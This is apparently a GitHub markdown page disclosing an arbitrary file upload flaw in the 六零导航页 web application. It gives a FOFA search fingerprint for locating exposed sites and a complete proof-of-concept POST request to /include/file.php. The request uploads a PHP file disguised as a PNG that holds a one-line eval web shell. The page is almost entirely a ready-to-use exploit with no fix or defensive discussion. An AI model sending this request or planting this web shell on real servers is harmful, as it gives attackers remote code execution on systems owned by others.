Skip to content

Latest commit

 

History

History
34 lines (29 loc) · 1.38 KB

六零导航页存在任意文件上传漏洞.md

File metadata and controls

34 lines (29 loc) · 1.38 KB

六零导航页存在任意文件上传漏洞

fofa

icon_hash="-282504889"

poc

POST /include/file.php HTTP/1.1
Host: xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
Origin: http://127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
Cookie: X8Kk_2132_logintime=1713010988; X8Kk_2132_saltkey=sb50OXyE; X8Kk_2132_lastvisit=1713007324; XDEBUG_SESSION=PHPSTORM; admin_hkcms_lang=zh-cn; index_hkcms_lang=zh-cn; HKCMSSESSID=e0594fc037c66b2dcc477b032c98de35; PHPSESSID=jbl3he9k1riq937d993fc7luhi; admin_token=32cffj4RQkD5uVfTy3J25h8COeBWUDMFyPZMgE%2BSw2eAI1O%2FgJsuTSHq0vIvSxsREnWeNg59eXDvZU%2F6gdzPT3acrQ
Content-Type: multipart/form-data; boundary=---------------------------207262699182048909098055515
Sec-Fetch-Mode: cors
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: empty
Sec-Fetch-Site: same-origin
Referer: http://127.0.0.1/apply/
Content-Length: 239

-----------------------------207262699182048909098055515
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

<?php eval($_POST['q']);?>
-----------------------------207262699182048909098055515--

e58e735f5ec48c62bc9d100c62ec7582